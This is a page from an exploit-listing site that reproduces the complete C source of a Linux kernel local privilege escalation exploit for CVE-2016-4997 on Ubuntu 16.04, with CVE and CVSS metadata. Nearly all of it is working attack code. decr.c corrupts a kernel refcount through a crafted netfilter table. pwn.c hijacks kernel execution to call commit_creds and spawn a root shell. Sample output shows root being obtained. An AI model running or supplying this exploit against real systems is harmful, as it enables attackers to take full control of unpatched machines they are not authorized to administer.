Advertisement






Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) netfilter target_offset Local Privilege Escalation

CVE Category Price Severity
CVE-2016-4997 CWE-264 $5,000 - $25,000 High
Author Risk Exploitation Type Date
Andrey Konovalov High Local 2018-03-20
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030157

Below is a copy:

Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) netfilter target_offset Local Privilege Escalation
/**
 Video ~ https://www.youtube.com/watch?v=qchiJn94kTo
**/

/** decr.c **/
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * [email protected]
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
FILE *proc_cpuinfo;
char fbuf[512];

proc_cpuinfo = fopen("/proc/cpuinfo", "r");

if (proc_cpuinfo < 0) {
perror("fopen");
return -1;
}

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
if (strlen(fbuf) == 0)
continue;

if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
fclose(proc_cpuinfo);
return -1;
}
}

fclose(proc_cpuinfo);
return 0;
}

int check_mod() {
FILE *proc_modules;
char fbuf[256];

proc_modules = fopen("/proc/modules", "r");

if (proc_modules < 0) {
perror("fopen");
return -1;
}

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 256, proc_modules) != NULL) {
if (strlen(fbuf) == 0)
continue;

if (!strncmp("ip_tables", fbuf, 9)) {
fclose(proc_modules);
return 0;
}
}

fclose(proc_modules);
return -1;
}

int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;

sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {
        perror("socket");
        return -1;
}

data = malloc(MALLOC_SIZE);

if (data == NULL) {
perror("malloc");
return -1;
}

memset(data, 0, MALLOC_SIZE);

repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;

entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

strcpy(ematch->u.user.name, "icmp");
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!

uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;

ematch->u.match_size = (short)0xffff;

target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;

printf("[!] Decrementing the refcount. This may take a while...\n");
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
}

close(sock);
free(data);
printf("[+] Done! Now run ./pwn\n");

return 0;
}

int main(void) {
void *stack;
int ret;

printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
if (check_mod()) {
printf("[-] No ip_tables module found! Quitting...\n");
return -1;
}

if (check_smaep()) {
printf("[-] SMEP/SMAP support dectected! Quitting...\n");
return -1;
}

ret = unshare(CLONE_NEWUSER);

if (ret == -1) {
perror("unshare");
return -1;
}

stack = (void *) malloc(65536);

if (stack == NULL) {
perror("malloc");
return -1;
}

clone(decr, stack + 65536, CLONE_NEWNET, NULL);

sleep(1);

return 0;
}

/** decr.c EOF **/

/** pwn.c **/
/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>

#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);

void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

memset(shellcode, 0, 0x300000);

void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);

printf("[+] Escalating privs...\n");

int fd = open("/dev/ptmx", O_RDWR);
close(fd);

assert(!getuid());

printf("[+] We've got root!");

        return execl("/bin/bash", "-sh", NULL);
}
/** pwn.c EOF **/

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum